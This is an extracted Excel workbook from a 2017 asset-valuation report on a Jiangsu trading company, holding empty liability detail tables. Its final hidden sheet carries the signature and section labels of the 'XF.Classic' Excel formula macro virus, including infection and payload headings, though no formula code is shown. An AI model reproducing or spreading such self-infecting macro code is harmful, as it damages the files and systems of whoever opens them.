["评估基准日：2017年12月31日",{"$nulls":5},"金额单位：人民币元"]
["序号","户名（或结算对象）","款项内容","发生日期","账面价值","评估价值"," 备 注"]
{"$rows_empty":21}
["合       计",{"$nulls":3},0,0]
["被评估单位填表人：",{"$nulls":4},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"6-5预计负债","index":93,"n_rows":30,"n_cols":7,"rows_kept":30,"hidden":true,"merged":[[0,0,0,6],[1,0,1,6],[27,0,27,1]],"flags":["formulas_cached_only"]}
["预计负债评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":6},"表6-5"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":5},"金额单位：人民币元"]
["序号","户名（结算对象)","发生日期","核算内容","账面价值","评估价值","备注"]
{"$rows_empty":22}
["合            计",{"$nulls":3},0,0]
["被评估单位填表人：",{"$nulls":4},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"6-6递延所得税负债","index":94,"n_rows":30,"n_cols":6,"rows_kept":30,"hidden":true,"merged":[[0,0,0,5],[1,0,1,5],[27,0,27,1]],"flags":["formulas_cached_only"]}
["递延所得税负债评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":5},"表6-6"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":4},"金额单位：人民币元"]
["序号","内容","发生日期","账面价值","评估价值","备注"]
{"$rows_empty":22}
["合            计",null,null,0,0]
["被评估单位填表人：",{"$nulls":3},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"6-7其他非流动负债","index":95,"n_rows":30,"n_cols":7,"rows_kept":30,"hidden":true,"merged":[[0,0,0,6],[1,0,1,6],[27,0,27,1]],"flags":["formulas_cached_only"]}
["其他非流动负债评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":6},"表6-7"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":5},"金额单位：人民币元"]
["序号","户名（结算对象)","发生日期","结算内容","账面价值","评估价值","备注"]
{"$rows_empty":22}
["合            计",{"$nulls":3},0,0]
["被评估单位填表人：",{"$nulls":4},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"00000000","index":96,"n_rows":26,"n_cols":3,"rows_kept":26,"hidden":true,"flags":["formulas_cached_only"]}
[""]
["Book1"]
["D:\\MICROSOFT OFFICE\\OFFICE\\xlstart\\Book1.",null,"**Auto and On Sheet Starts Here**"]
[3]
[]
[]
["Classic.Poppy by VicodinES"]
["With Lord Natas"]
["An Excel Formula Macro Virus (XF.Classic)"]
["Hydrocodone/APAP 10-650 For Your Computer"]
["(C) The Narkotic Network 1998"]
[]
[]
["**Simple Payload**"]
[]
[]
[null,null,"**Set Our Values and Paths**"]
[]
[]
["**Add New Workbook, Infect It, Save It As Book1.xls**"]
[]
[]
[]
[]
[]
[null,null,"**Infect Workbook**"]